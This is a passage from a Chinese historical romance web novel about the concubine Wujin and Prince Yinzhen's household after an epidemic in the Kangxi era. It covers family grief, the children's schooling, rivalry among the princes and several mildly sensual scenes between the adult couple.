清风苑是苏氏所住的院子,里面住着宋氏、张氏、苏氏还有钮祜禄氏,邀月苑住着李氏、耿氏、郭氏跟武氏,乌锦只知道弘昀染疫后,邀月苑还有两个伺候的奴才染疫,那两个奴才很快被挪出府外。
“万幸,清风苑这边并没有人染疫,我们这几个月连院门都不曾踏出。”
“那就好,大家平平安安是最好不过。”
不远处的曦宁叫她,乌锦跟苏氏点点头后便去陪女儿玩了,过一会儿,苏氏可能觉得无聊便走开了。
玩了半天,乌锦带着女儿回桃园。
虽说太医院那边找到治疫的方法,不过这城中仍有人陆陆续续染疫,四阿哥还特意叮嘱府里人,暂时不要出府,但他自己痊愈后常常出府,继续管着内城的治安。
据说染疫后痊愈之人不会再次染疫。
就这样又过去二十多天,京城彻底降温,变得寒冷,天寒地冻,在这二十多天里,府里的奴才还是跟前几年一样上上清扫一遍来迎接新年。
乌锦见到李氏时是除夕当天,今年除夕不用进宫,难得是他们自己在府里吃团圆饭。
几个月过去,李氏看上去也消瘦一些,大家在席上都没有提起弘昀,大过年的,他们尽量表现得高兴的样子来迎接新年。
四阿哥多喝了一点酒,被福晋劝阻,四阿哥这才没有继续喝。
除夕宴快结束时,曦宁突然跑到李氏身边,扯了扯李氏的旗装裙摆,问道:“李夫人,弟弟呢?我怎么没见到弟弟?”
乌锦也愣一下,这孩子……曦宁几次问她,她都说弟弟去很远的地方了,可能每次问都是得到这个答案,她便不再问了,没想到她还惦记着弟弟。
她见到李氏脸色也忽然一变,她忙过去把曦宁拉到自己身边,满怀歉意地对着李氏说道:“李姐姐,曦宁她不是有意的,还请姐姐原谅。”
李氏可能顾及在场有很多人,还是绷住自己的情绪,只是低头跟曦宁说话:“曦宁说的是弘昀吗?弘昀他以后都不能跟你一起玩了。”
“为什么?”
“因为……”李氏顿了顿,才说弘昀不见了,找不回来了。
“他在跟我们玩躲猫猫吗?”
乌锦很想捂住自己女儿的嘴,让她别
再问下去,好在李氏也没有发脾气,跟曦宁说弘昀是在跟她玩躲猫猫。
在曦宁还想说话时,乌锦还是上手捂住她的嘴,跟李氏说声抱歉。
“没事,还好有人记得弘昀,不然我以为只有我一个人记得,主子爷,福晋,我不胜酒力,先回去了。”
李氏那样子看上去像是在强撑,她没等四阿哥说话就带着人离开。
反正大家也吃饱了,四阿哥便让大家各自回去。
乌锦也带着女儿回桃园,女儿还惦记着找弟弟,说不能让弟弟继续躲猫猫,她觉得不能再骗她,于是回到房间后,她面对面跟女儿说话。
“曦宁,你以后不能再提起弘昀,尤其是在李夫人面前,你弟弟他以后都不会再出现了。”
“那是因为你们都没找到他,额娘,我知道弟弟藏哪里,我们去找弟弟好不好?”
乌锦头疼,认真道:“曦宁,弟弟他不是藏起来了,他已经不在了,你以后都不能找到他,他已经去天上了。”
“天上?弟弟怎么去天上了,是坐马车吗?”
“不是,弟弟生病,大夫治不好弟弟,弟弟就去天上了,你以后再也见不到弟弟了。”
“我再也见不到弟弟了吗?”
乌锦肯定地点头。
曦宁似懂非懂,小小年纪的她可能也突然意识到自己再也见不到弟弟,忽的一下放声大哭。
乌锦把女儿揽到怀里,她见到四阿哥过来,也没有放开,女儿哭了一会,哭累了,人开始犯困,她才把女儿交给奶娘照顾。
“爷,你应该去李姐姐那边的。”
“刚去过,她想一个人待着。”
乌锦叹口气,李氏丧子,几个月过去,看上去还没走出来,换她,她也没法走出来,她问他要不要备水沐浴。
“嗯。”
乌锦让君梅她们备水,她问四阿哥明日要不要去朝贺,四阿哥摇头,说皇阿玛免了朝贺,可能还是怕人多。
“爷这段时间辛苦了,今晚就好好睡一觉。”
胤禛听她这么说,把她抱在怀里,辛苦归辛苦,但他得到皇阿玛的肯定跟赞扬,所以辛苦是值得的。
两人是一前一后沐浴,入夜后,他们一同躺在床上。
“日后曦宁会明白的。”
四阿哥冷不丁地说了一句,乌锦嗯了一声,她窝在四阿哥怀里,说道:“爷,你跟李姐姐才是最难过的,曦宁还小,她还不懂这些,等她长大后可能也不会记得这些事。”
“李氏的确是最难过的,不过她还有弘时,应该慢慢会走出来,倒是你,我希望你能给我添个阿哥。”
“这个我一个人也办不成,爷还是先别说这些了,赶紧睡吧。”
“嗯,睡吧。”
他们两人什么都没做,几乎是同时睡过去。
乌锦是被鞭炮声吵醒的,大年初一的鞭炮声是最大声的,尽管这疫情还没彻底过去,但大家该过年还是会过年。
在她翻动的时候,四阿哥也跟着醒了。
“几时了?”
“应该是寅时,天还没亮。”
不用去朝贺,四阿哥就不用早起,乌锦觉得天还没亮,也没有要起来的意思,不过人都醒了,一时半会也没法再继续入睡。
四阿哥亲她时,她没有拒绝。
“我们许久没有做了,快半年了。”
乌锦掐了掐他的腰,无奈道:“你尽记得这些,不该记的乱记,你才刚刚痊愈恢复,就别想着这事,你身子还很虚。”
胤禛一听到她说自己身子还很虚,睁开眼睛,男人在这方面的尊严是不容挑衅跟质疑的,他已经恢复快两个月了,哪里虚了,他是真的想让乌锦给他添个阿哥。
“那你等会看看我虚不虚。”
胤禛低头在她脸上乱亲。
“别闹,呵呵……爷,别闹了,饶了我。”
“昨晚饶你一回了,今天饶不了你,乌锦,再生一个阿哥给我吧,我说认真的。”
乌锦觉得他这是没了一个孩子,想要她生一个补回来,男人对孩子还是没有女人对孩子感情深,毕竟孩子是女人怀胎十月辛苦生下来的,她的孩子要是没了,再生多少个都弥补不了失去孩子的痛苦,只是她没把心里话说出来,陪着他嬉闹。
“这阿哥不是我想生就能生的,不得我们两个人努力嘛,我一个人完不成,况且要是还是女儿怎么办,是儿子还是女儿还得看老天爷的意思。”
“我让周太医开一个生儿子的药方给你。”
乌锦很是嫌弃地看着他:“没想到爷还信这些,哪有什么生儿子的药方,要是真管用的话,岂不是人人都能生儿子,我还以为爷是一个不迷信的人,原来是我错看你了。”
被嫌弃的胤禛只好堵住她的嘴,一吻结束后才说:“说不定管用呢。”
“那爷你自己喝吧,反正我不喝,你相信管用的话就自己喝,一天喝两大碗,你这是针没扎你身上,你说得轻松,要喝你自己喝。”
“好好好,不喝就不喝,先做正事。”
胤禛说着就钻到被窝里,她睡觉的时候穿的本来就不多,很容易剥落,他里里外外都亲一遍,只是真正开始后,他结束得很快,他听到乌锦噗嗤笑出声。
“我就说爷还很虚,你还不信,爷,你等养好身子再说。”
男子的尊严被嘲笑,胤禛哪里受得住这个,想要再来一次,只是下面没有动静,尤其是他才刚刚结束,对上乌锦看好戏的眼神,他气得在她身上咬一口。
“明明是你自己的问题,咬我干什么,我看爷是该吃一些补药了,壮阳药。”乌锦心情莫名好起来,尤其是见到他一脸郁闷的样子,嘴角一直扬着笑,光明正大地笑他。
“乌锦,你别以为我不敢咬你,我把你一块肉都咬下来,你信不信?”
“我是怕爷没力气咬,快上来吧,别折腾了,别逞强,我知道爷是大病初愈,我不怪你。”
胤禛气得要命,非要证明自己,他抓着乌锦的手放在他全身最炙热的地方。
乌锦只是不停地偷笑,他到后面弄不下去,在她脖子上咬一口。
“爷,放心,我还是相信你的,只是你得你身子彻底恢复,不要操之过急,你还年轻。”
“乌锦,你给我等着。”
“好好好,我等着。”
两人就这样嬉闹到天亮才起来。
大年初一,府里的奴才在大门处放了鞭炮。
因为四阿哥不用去朝贺,所以她们跟四阿哥一起吃了一顿素饺,之后四阿哥就出府了。
乌锦给桃园的奴才发了赏银,每人十两银子。
大年初二,乌锦还是回娘家一趟,没带女儿,大过年的,途径一些街道时还是能感觉到不似上一年热闹。
她回到家,她额娘他们将她上上下下看一遍,看到她并无异样才放下心。
她额娘说家里人都不敢出门,就怕染上疫病,一旦染上疫病就得拉去安置的大宅院,听说那里是上百人挤在一处,连个照顾的人都没有,只会越病越严重。
更可怕的是前段时间京城乱哄哄的,有人趁机烧杀抢掠。
“还好四阿哥派了一些护军守在我们家门口,我们才能免去一次劫难,不然恐怕我们乌家也会遭难,隔壁郑家就被抢了一回,女儿,你不知道有多少人死了,那尸体都来不及烧
,只是挖个大坑将人埋了,你大舅妈跟二舅妈他们那边的叔叔婶婶都没了,年纪大了,一旦感染上就没得救,我们全家都得感谢四阿哥,没有四阿哥,我们恐怕也会出事,女儿啊,我们都得感谢四阿哥。”
完颜氏此时对四阿哥早已没有之前那些不好的偏见,觉得女儿真是嫁对人,没有四阿哥护着,他们乌家哪能逃过这次劫难,四阿哥是真的有心了。
乌锦也是听额娘说才知道四阿哥默默做了一些事,他不曾跟她提起,他能想着派人过来护着乌家,就凭这份心,她的确应该感谢他。
她总说自己当初被他用权势逼迫,可是权势也护住她跟乌家。
“我外孙女没事吧?”
“曦宁没事,额娘别担心。”
“好在都过去了,终于结束了,我们可以安心过个好年。”完颜氏说道。
乌锦点点头,平安无事是最重要的。
“我跟你小娘去给你弄吃的,你吃完再回去,我跟你小娘替四阿哥做了两身冬袄,你拿回去给四阿哥穿上,算是我们乌家的谢礼,我们知道你们什么都不缺,好在我们针线活还行,就弄了两身冬袄。”
乌锦开玩笑道:“就给四阿哥做,不给我做吗?你女儿大冬天的也需要冬袄穿着,不然要挨冻。”
“从小到大给你做了多少身衣服了,还缺两身冬袄嘛,要是不合身,你再拿回来给我们改改。”
乌锦笑着说她知道了。
她在乌家吃过饭才回府,带回她额娘跟小娘一起做的两件冬袄,四阿哥此时不在府里,她没有拿过去。
等他回来时已是傍晚,她才过去找他,献上冬袄,说是她额娘给他的谢礼,谢谢他前几个月对乌家的保护。
“给我穿上看看。”
乌锦给他套上,其实是合身的,她们做的衣服多了,有时候看几眼就能知道尺寸,不需要特意量身,除非是要十分贴身那一种,更何况冬袄还是以舒适保暖为主,大一点也没关系。
“还行,替我跟你额娘他们说一声谢谢。”
乌锦也踮脚亲了亲他薄唇,感激道:“谢谢主子爷为我做的一切。”
“知道爷待你好就行。”
“我知道,我一直都知道。”
胤禛见乌锦眼眶泛红,他心想是块石头他也捂热了,捂热了就行了,不枉他待她这么好,这几年一直偏宠她,连她家人都算进去。
他抬起她的下巴,加深了这个吻。
乌锦迎上去,双手攀住他的脖颈,整个人贴着他。
本来是该用膳的时辰,他们先做了一次,这一次四阿哥还是不大持久,但比上一次久一点,事后,四阿哥一脸郁色,用膳的时候一言不发。
乌锦这会不好再笑他,免得他恼羞成怒。
夜里,他再来一次,依旧匆匆结束,乌锦只好安慰他身子还没恢复,再等等肯定能恢复如初,他轻哼一声,背过身。
她就让他自己想开,开始入睡。
胤禛反而睡不着,他是真怕自己出现问题,但这事哪怕对着太医也不好说,这世上没有不透风的墙,太医知道了,写在病案本上,那可能皇阿玛他们也会知道,他只能等自己恢复了,他还年轻,肯定不会一直这样,在忧心中,他睡了过去。
……
眨眼间来到康熙四十三年三月初,疫情基本过去,乌锦将女儿送去学堂读书,还从包衣奴才那边挑了两个同龄的女孩子伴读。
曦宁前几天还好好的,到后面就不想去了,乌锦知道总要有一个适应过程,于是就让她去两天歇一天。
四阿哥说她当额娘的狠不下心,三天打鱼两天晒网,女儿还怎么学。
乌锦觉得女儿还小,等她适应了,她就不会这样了,虽说格格可能只用等着嫁人,挑个好夫家,但她是希望自己女儿能好好读书,成为一个又聪明又有学识的人。
因为曦玉也要去学堂,有时候姐妹两一起去,但是是分开坐两辆马车,乌锦让听春跟翠香一定要护好曦宁,不要给曦玉再动手打或是推曦宁的机会,不要让她们单独相处。
也好在曦玉比曦宁大四岁,两人是由不同的谙达教她们,上学时课室是分开的。
每天曦宁回来,乌锦都会问她都学了什么,曦宁有时候答不上来,有时候说了她学了哪几个字,对一个三岁多的小孩子,她也没有太多要求,学几个字就已经很好了,目前主要是磨练她的性子,希望她能在坐得住。
显然四阿哥不这么想,他觉得既然要学,就应该学好,不可以要学不学,他还提到弘晖在上书房那边学得很刻苦,字比她这个大人都写得好看。
“主子爷,你别忘了曦宁是女儿身,她又不需要考举,她才三岁,你逼那么狠,她只会越来越不想学,女儿,你就别管了,你只需要管弘晖就行。”
“慈母多败儿,曦宁也是格格,她不能不学无术,女儿身也要有才识,聪明伶俐才讨人喜欢。”
乌锦瞪他:“爷,你跟我唱反调是什么意思?合着女儿是我一个人的,还慈母多败儿,你这个阿玛就完全没有责任吗?”
胤禛轻笑,把她揽到腿上坐着。
“好啦,别生气,女儿的事,我不管行不行,都听你的,我就是希望女儿别太娇气,你记不记得多兰,我不希望女儿像多兰那样飞扬跋扈,没有脑子。”
“多兰格格不是没有脑子,她只是经历的事少。”
这里大多数女子都是在闺房里长大,她们接触的人少,经历的事少,每天只困在后宅里大门不出,二门不迈,只要女子举止端庄,不要求读很多书,这样的人真正遇事可能只会慌乱,但有些人能从这些事情得到成长,也不会一直无脑,人其实都不傻,都会一点点成长。
乌锦看向四阿哥,她还以为他只想让女儿嫁个好人家,原来他对女儿也是有要求的。
“看我干什么?”
“没什么,原来你不喜欢多兰。”
“不是不喜欢,只是觉得她太过娇气,脾气不好。”胤禛对多兰称不上喜欢,也称不上不喜欢,先前她想伤乌锦时,他才对她有不满。
乌锦从他腿上起来,说她先回去了,她回去练字,免得他总说她字写得不好看。
第89章第89章更新,新文即将开更,求收……
这疫情虽然过去了,但户部的存银所剩无几,每回大灾发生,都需要耗费大量人力财力,胤禛这阵子就为银子发愁。
每一年各地交上来的赋税都相差不大,朝廷不可能再额外多加税收,所以一时半会也折腾不来太多银子。
胤禛很怕皇阿玛突然又要巡视,还好疫情刚过,皇阿玛没有要巡幸的心。
胤禛在户部待了几年,发现这户部的差事也不是那么好当的,相反还十分难以应付,天天为钱财发愁,想要做好并不容易。
他去给德妃娘娘请安时,在宫中碰到胤褆。
胤褆是过来给惠妃请安。
“大哥。”
“四弟,你又进宫了,是过来见皇阿玛吗?”
胤禛说他给德妃娘娘请安。
“我还以为你是过来见皇阿玛,这阵子你老在皇阿玛面前晃悠,连老二都没有你勤快。”
胤褆这话带有一点嘲讽的意思,这是想讽刺他想讨皇阿玛的欢心,几个月前皇阿玛夸赞他为内城的治安尽心尽力,没有夸胤褆,胤褆在疫情期间是负责外城的秩序,当时外城比内城乱得多了,所以胤褆又开始看他不顺眼。
“大哥,身为皇阿玛的儿子,我们都应该在皇阿玛身边多多尽孝。”
“是尽孝还是为别的,老四,你心里最清楚。”
胤禛平静道:“大哥,你别以己度人,我只想尽孝,皇阿玛召见我,我便前来宫中,皇阿玛不召见我,我在户部当差,我不像大哥成天不见人影,不知道在忙什么。”
“老四,你别说得你好像做了什么大事一般,你在户部当差,户部的存银不见变多,有本事你让户部的存银翻上一翻,皇阿玛要是要南巡,恐怕你都拿不出银子。”
“找大哥要就
行,我看大哥银子挺多的,我不跟大哥说那么多,我还要过去给娘娘请安呢。”
胤禛跟胤褆点点头就越过他往前走,懒得跟胤褆打嘴仗,胤褆属于见谁都想压一番,只因他是大哥,恨不得人人都得跟他低头。
请安还是一如既往,德妃娘娘问他府里是否一切安好,他说安好,然后娘娘关心他的身子,他说没有大碍,请安就结束了。
他明白他不可能像十四那样对着德妃说太多贴心话或是撒娇,他从宫里出来后就过去找雅尔江阿,一整天都在外面,直到傍晚才回府。
他本来想去桃园的,想想又过去邀月苑看看李氏。
“爷,你怎么来了?”
“我不能来吗?”
李氏迎他进去,笑道:“爷,你在说什么,我巴不得爷天天过来,爷这是刚回来?要不要让人备膳?”
“嗯。”
李氏让人去提膳,然后让奴才去端水,她亲自伺候他净手净脸,她说到曦玉今日是跟曦宁一块上学的,坐同一辆马车。
“姐妹两今天不仅一块上学,还一块回来,有说有笑的,先前是曦玉不懂事,不过她们也是相处得少的缘故,姐妹之间也是要多多相处才有感情的。”
“她们能相处得来是最好,曦宁她……”胤禛原本想提到弘昀,怕触及李氏的伤心处,便及时住口,真正跟曦宁玩得来的人是弘昀,可惜弘昀不在了,他肯定希望两姐妹好好相处。
“有空我看看曦玉在学堂学得怎么样。”
“爷,你还抽查她功课?不过要是爷能亲自教导她,肯定事半功倍。”
胤禛想着是得抽个时间把几个孩子叫过来抽查他们的功课,包括弘晖,他看了看李氏,觉得李氏似乎从丧子之痛走出来了,走出来就好,她还有弘时,总不能一直一蹶不振。
“弘时呢,把弘时抱过来给我看看。”
李氏便示意奴才去把小阿哥抱过来。
一岁的弘时抱过来时还在睡觉,胤禛看了看自己儿子,然后叮嘱奶娘一直要照顾好弘时。
“爷,她们知道的。”
“该喂奶就喂奶,但孩子一岁了也可以吃点别的。”
胤禛先前看乌锦养曦宁时,喂奶的同时也给曦宁吃米糊类的食物,把曦宁养得白白胖胖的。
李氏向来都不会反驳四阿哥,她应了一声好。
见孩子还在睡,胤禛就让人抱下去了。
等晚膳上来,两人坐在一块吃饭,李氏给他布菜,这么多年来,胤禛也习惯李氏伺候他了。
夜里,他也直接在李氏这歇下。
翌日一早,他也在李氏这用过早膳后才离开。
李氏等四阿哥一走,便收起温柔的样子,又是一脸郁色,她不像主子爷,失去弘昀像是要她的命,她没那么快走出来,只是不想在主子爷面前表现出来而已,主子爷可不想天天见到拉着一张脸的她,她明白主子爷对她没有那么多耐心,她只能自己调整。
还好她还有弘时,不然她都不知道自己该怎么撑下去,她不认为自己还能生出一个孩子,她年纪不小了,又生了那么多胎,即便是主子爷还让她侍寝,她未必次次好运能怀上孩子。
李氏过去看看弘时,弘时这会已经醒了,奶娘正在给弘时喂奶,她忍不住跟奶娘说别把主子爷的话听进去,一岁的孩子只适合喝奶,别给孩子喂一些乱七八糟的东西,不然孩子肠胃不适。
她只有弘时这一个阿哥了,千万不能再出事,她一定要把弘时养大。
……
过了几日,胤禛终于有空把几个孩子都叫过来,抽查他们的功课,尤其是弘晖,他先让三个孩子写字给他看,用满蒙汉三种字来写。
“阿玛,我不会。”曦宁第一个说不会,对着一个十分像乌锦的女儿,年纪又小,胤禛就没法发脾气,只让她把会写的字都写一遍。
曦玉跟弘晖就不能说不会了,两人也老老实实地提笔写字。
书房内一片安静,胤禛看着几个孩子,不得不说这几个孩子都有一点他们额娘的影子,曦宁不用说了,她压根不是在写字,简直是在乱画,随性得很,他想到自己生辰时,曦宁给他送的生辰礼,就是一幅乱画的笔墨,曦玉规规矩矩,弘晖认真专注。
过了一会儿,曦玉说她写好了,胤禛拿起来一看,只能说曦玉的字勉强能看,一看就没有太用心在练字上,写的字也不复杂,偏简单。
“曦玉,你平时还是要好好上学。”
“阿玛,我是女孩子,额娘说我不用考举,学那么多没有用。”
“女子是不用考举,但你是格格,格格总不能大字不识,有时候识字读书并不是为了考举,而是明智聪慧。”
“可是阿玛,你看妹妹,她一个字都不会写。”曦玉怕阿玛骂她,转头指证一旁的曦宁。
曦宁睁着大眼睛,一脸无辜。
胤禛说道:“你妹妹还小,她才刚上学,你都去学堂两年了,怎么能跟妹妹比,你跟弘晖比,你看弘晖写的字比你好看多了。”
曦玉总觉得自己越来越不讨阿玛喜欢,不高兴地撅着嘴。
到底是女孩子,脸皮薄,胤禛也就没有继续说曦玉,改口夸赞弘晖字写得不错,他原本想让他们背诗的,想想还是算了。
“好啦,你们都表现得不错,等阿玛有空,带你们去骑马怎么样。”
弘晖先拍手叫好,曦玉没有太兴奋,她不怎么喜欢骑马,觉得危险,曦宁没骑过马,所以不知道骑马好不好玩,不过听到出去玩,眼睛瞬间在发亮。
曦玉嫌弃地看一眼曦宁,对这个妹妹是喜欢不起来,偏偏额娘还让她多跟妹妹一起玩,说是一定要跟妹妹交好,她不明白为什么,但她听额娘的话,所以去学堂时,她便跟曦宁坐同一辆车马车,在马车上,曦宁的话很多,她觉得妹妹很吵,但不能说出来。
“阿玛,我去,我想出去玩,带上额娘好不好?”
胤禛摸了摸曦宁的头,笑道:“好,带你额娘一起,等阿玛有空就带你们去。”
曦玉见要带乌夫人,她也不甘心,接话道:“阿玛,也带我额娘一起。”
“好好好,都带都带,好啦,是不是饿了,阿玛让人送吃的过来,你们跟阿玛一起吃饭。”
三个小孩子齐点头,他们其实都不饿,但都怕阿玛让他们继续写字。
胤禛嘴角挂着笑,一一摸了摸他们的脸,对自己的孩子,他总是有几分耐心。
跟孩子待了大半天后,胤禛才让人将他们送回去,而他自己又在书房待一会,虽说他想跟胤禩他们交好,但胤禩也只比他小三岁而已,他又住在宫中,他在宫外,他有户部的差事要忙,其实要常见面不是易事。
他想了想,便让人把福晋叫过来,让福晋给八弟妹、九弟妹递帖子,邀请他们一起去骑马。
真到骑马那一天,胤禩跟胤禟也跟着过来了,三家一起出行,为了保证他们的安全,胤禛让自己的佐领跟着,还有几个会骑马的谙达。
一群人到城外围场那边骑马。
到那后,胤禟就说要比赛,看谁骑得快。
胤禛没有拒绝,三兄弟一起比赛,福晋等人先在一旁观看。
胤禛比赛的时候也不想尽全力,身为哥哥,想让胤禩或是胤禟赢,所以只是做做样子,没有太用力抽马屁股。
最后是胤禟赢了,胤禟笑得很开心:“四哥,怎么感觉你的骑技退步了,八哥,你也是,以前你骑得多快,今天让我赢了,早知道我就先跟你们下注。”
“是九弟你进步了,没少偷偷练习吧?”胤禩笑道。
“我还需要偷偷练习吗?我那是天赋。”
胤禛听着也忍不住笑了笑。
“四哥,你笑什么?我说得不对吗?”
“对,你极具天赋,谁都比不过你。”胤禛说道。
胤禩说他要教福晋骑马,三兄弟才分开。
胤禛也亲自教曦玉跟弘晖骑马,牵了一匹小马给他们骑,曦宁还太小,乌锦不让他教,他知道乌锦上一次摔下马
给她留下阴影了。
乌锦母女两只在一旁互相追逐着玩。
他便不管她们。
胤禛耐心教曦玉跟弘晖,偶尔抬头看一眼胤禩跟胤禟那边,两人都跟他们的福晋骑同一匹马,看上去跟他们的福晋关系都不错。
胤禛想着到时候让福晋多跟两个弟妹往来,请她们到府上坐一坐。
就这样玩了一天,胤禟说下次有空再一起去,胤禛笑着点头。
日子就这样一日一日过着。
到了七月初,皇阿玛摔了一跤,听说脚扭到了,行动不便起来,胤禛跟那些兄弟们轮流过去看皇阿玛,轮流给皇阿玛当拐杖。
近身伺候皇阿玛时,胤禛发现皇阿玛真的老了,胡子都开始发白,以前皇阿玛哪会这么轻易地摔倒,是人老了,走路都不稳健才会摔倒。
皇阿玛行动不便时,脾气也不怎么好,对着他们挑刺,谁都不能幸免于难,胤禛也被皇阿玛挑刺,说他在户部当差几年,户部一团乱,户银都不知道去哪了,他也不能反驳,只能默默承受。
而二哥太子也同样被挑刺,理由是太子纵容底下的人买官卖官,其实这不算挑刺,这是事实,不过这些都是皇阿玛处置索额图之前的事,这两年,太子还是收敛低调许多,皇阿玛旧事重提,胤禛只是觉得皇阿玛是真的老了,所以又开始怀疑太子觊觎皇位。
太子是反驳了的,说他只是依照清例办事,选拔人才,没有买官卖官,太子这一反驳让皇阿玛更气了,又将之前的事翻出来说,将太子从头到脚批判一遍,将索额图犯的罪都归在太子身上,甚至太子前不久去祭祀索额图,皇阿玛都骂他跟罪臣勾结在一块,罪臣死后还要去祭祀,不把他这个皇阿玛放在眼里。
太子这回没有反驳了,默默承受。
其实太子去祭祀索额图一事,知道的人并不多,太子也没有傻到光明正大地祭祀一个被皇阿玛定为罪臣的人,这不是在打皇阿玛的脸嘛,他也只是听到皇阿玛骂太子时提及此事才知道太子去祭祀索额图了,不知道谁将此事捅到皇阿玛那的。
皇阿玛让太子闭门思过五天。
这样的处罚其实不痛不痒,不过在外界看来,皇阿玛是真的看太子越来越不顺眼。
胤禛知道这是好事,不过他自己也得绷紧点,皇阿玛此时对那些觊觎皇位的人都很敏感,野心的确不该过早暴露。
胤禛不像胤褆天天去宫里看皇阿玛,他是隔三差五过去,问就是户部有事要做,皇阿玛肯定不缺人伺候,他们也就是在一旁搭把手而已。
皇阿玛这一脚伤一直到七月底还没有转好,皇阿玛脾气越来越暴躁,他就更不往皇阿玛身边凑了。
八月一日傍晚,胤禛过来桃园,见乌锦正在给女儿梳头绑辫子。
“这么晚了,怎么还打扮?”
“阿玛,我就是想让额娘给我编个辫子,明早起来,我的头发就会是曲的。”
胤禛看向乌锦,乌锦说女儿想要卷发,已经到爱美的年纪了。
胤禛听着轻笑,在一旁看乌锦替女儿绑了许多小辫子,每一个都绑得很实。
“这得绑到什么时候?”
“很快的,爷,我们已经吃过了,你要是饿的话,让膳房的人给你弄吃的。”
胤禛还是看乌锦把头发绑完才去用膳,等他吃好之后,女儿已经回她自己的房间,乌锦也洗完澡了,正在擦头发。
奴才们开始往冰盆里添冰块,屋内散发着丝丝凉气。
“爷,你也去洗澡,天热,洗完就舒服了。”
“刚吃饱,让我歇一会。”
“吃个橘子吧,肚子就不会那么顶了,爷吃个八分饱就够了,吃太饱容易撑着。”
胤禛看着絮絮叨叨的乌锦,心一下子就平静了。
乌锦在擦头发,视线没落到他身上,不过能感觉到他在看她,等她把湿发擦干后,四阿哥已经去洗澡了。
她等了一会,他才过来。
“主子爷,皇上他好些了吗?”
“还没有,伤筋动骨一百天,这还不到一个月,皇阿玛毕竟不年轻了,恢复没那么好。”
乌锦哦了一声,皇上身子有恙,暂时还轮不到她们这些儿媳来伺候,宫中嫔妃多,加上那些儿子,她们侍疾的资格都没有。
“你在担心皇阿玛吗?”
乌锦担心皇上干什么,康熙在她这就是陌生人,都没见过几次,她是听说皇上这阵子骂了很多人,朝堂上风声鹤唳,生怕索额图事件再来一次。
“我是担心主子爷,人家都说伴君如伴虎,在我这,主子爷才是最重要的。”
胤禛笑着走到床边,掀开薄被坐进去,他不介意跟乌锦聊朝堂上的事,有时候她旁观者清,他说皇阿玛这阵子的确心情不好,不过也没有到失去理智的地步,伴君如伴虎这话说得对,所以这阵子群臣都是事事捧着皇阿玛,阿谀奉承,谁都不说真话。
“皇阿玛他也没有到糊涂的地步,就是他想发脾气而已,过了这一阵就好了,你也不用担心我,我没事。”
他毕竟也只是贝勒,上面还有太子顶着呢。
“别说皇阿玛了,我们来做别的事。”胤禛身子也养了好几个月,应该恢复了,他看着穿着单薄的乌锦就想做别的事情。
“你别总想着这事,正经一点。”
“大晚上的,需要正经做什么。”胤禛的手已经探进她薄衣里面,他让她坐在他腿上。
“爷,你之前好几次都是很快,你确定你这次行吗?”
胤禛掐一下她的脸,她还真敢说,别人侍寝时,哪怕他再快,别人都不敢直说,甚至不敢露出一点异样,她倒好,每次都提醒他,弄得他都不好意思来找她了,生怕他满足不了她。
他真觉得自己这次肯定能行,人不过来,只能是他倾过去,部分光影被挡住。
“乌锦,我看你是皮痒了,欠打了,什么话都敢说,是真不怕我治你的罪。”
“我有什么罪,实话实说的罪?我又没有说谎,我看爷这阵子有在喝补药,难不成真的有成效?”
“药要是没有成效,喝它干什么,况且只是一般滋补的药,并非是你认为的那样药。”
“药多伤身,我认为是什么药,爷别揣测我。”
胤禛压住她,堵住她这张不饶人的嘴。
“呵呵……”乌锦嘴角溢出笑声。
“笑什么笑,认真点,别分神。”
“你哪那么多要求,我想笑就笑,还不让人笑了,你怎么那么霸道。”乌锦跟着揉捏他的脸,快半年过去,他也长回一些肉,胖了一点。
“你这是把我当成曦宁了,我又不是小孩子,你别揉我的脸。”
“那我揉别的地方。”
她揉的地方是最致命的,胤禛都不敢吭声,默默享受,受不住才闷哼出声,见她笑得很开心,他忍不住又捏了捏她的脸。
“不准给我半途而废。”
“放心,肯定会让你求饶。”
乌锦嫌弃地看他,还让她求饶,有时候她就是演演而已,满足一下他男人的虚荣心,又不是真的,手上力道收紧,见他紧紧抿唇,
她就收得更紧,挑衅地看他。
“我看你好像快要结束了。”
“你松开。”
“不松。”
胤禛真的被她弄点差点结束,好在他忍住了,他掰开她的手,开始亲她。
到最后,他折腾了两次,事后,他看她像是在水里刚出来一样,他笑她:“怎么样,还要不要了?”
“太热了,我是热的。”
“逞强,看你下回还敢不敢说这些话。”
乌锦翻了一个白眼,其实也还好,她是真的热出汗,而不是他多厉害,她掐他的腰,不想理他。
胤禛凑到她耳边,笑道:“看你还不是被我治得服服帖帖的,磨人精,我怎么会喜欢上你这个磨人精。”
乌锦突然觉得磨人精这三个字有够腻歪的,听着鸡皮疙瘩都要起来了,好像在说你这个磨人的小妖精,她用手捂住他的嘴。
“好啦,你别说了,太肉麻了,我不想听,你说话正常点。”
胤禛以前不爱说这些话,也就当着乌锦的面说这些,也不怕她笑话,觉得这是两个人之间独有的情趣,他发现乌锦这个人有时候比他还听不得这些。
“我有说错吗?不是很适合你吗?我觉得我还可以再来一次,要不要我们再试试。”
“你别把牛皮吹破,省点力气吧,省得你以后没有力气使,赶紧的,都出汗了,去洗洗,黏糊糊的,难受得很。”
“不着急,再来一次,不然得洗两次。”
说归说,胤禛还是没有来第三次,的确没有力气了,他用薄纱将她裹住,抱她到屏风后面简单清洗一下。
第90章第90章更新,新文即将开更,求收……
过了几天,福晋请了戏班子来府里唱戏,邀请了几个妯娌,比如大福晋、三福晋、八福晋跟九福晋等人,一帮人凑在一块聊天,聊的最多还是孩子的事。
乌锦作为小妾,只管好好听戏即可,这种应酬交际的事就交给福晋,她有时候庆幸自己不是嫡福晋,她知道福晋要管理府里上上下下的琐事,还要帮四阿哥跟他那些兄弟的女人打交道,负责维系关系,她都觉得福晋辛苦,但看福晋又好像乐在其中,可能是她比较懒惰吧。
就在后院而言,她觉得福晋算是一个比较好的上司,四阿哥后院没有太多争斗跟是非,一些口角上的争执不是特别大的事,福晋也不会因为谁不得宠而苛待谁,不得宠的人在后院也可以吃饱穿暖,总归而言,四阿哥后院的女人都还算正常,哪怕她很得宠,她们也没有使手段陷害她,让她在府里过的日子相对平静舒适。
她听着台上的戏,一边吃着零嘴,倒也惬意。
两个时辰过后,戏听得差不多了,福晋带着她们送客,把人都送走后,她见到福晋暗自松口气,她心想原来福晋也会累的,应酬也不是简单的事,尤其是如今的局面,太子地位岌岌可危,有些阿哥惦记着最上面那个位置,兄弟之间其实有各自的心思,而她们这些女人自然也分为不同的阵营,太过交心的话不能说,交际起来就麻烦一些。
“好啦,你们若是还想听戏,可以继续听,我累了,就不陪你们了。”福晋说完就带着人回云水堂。
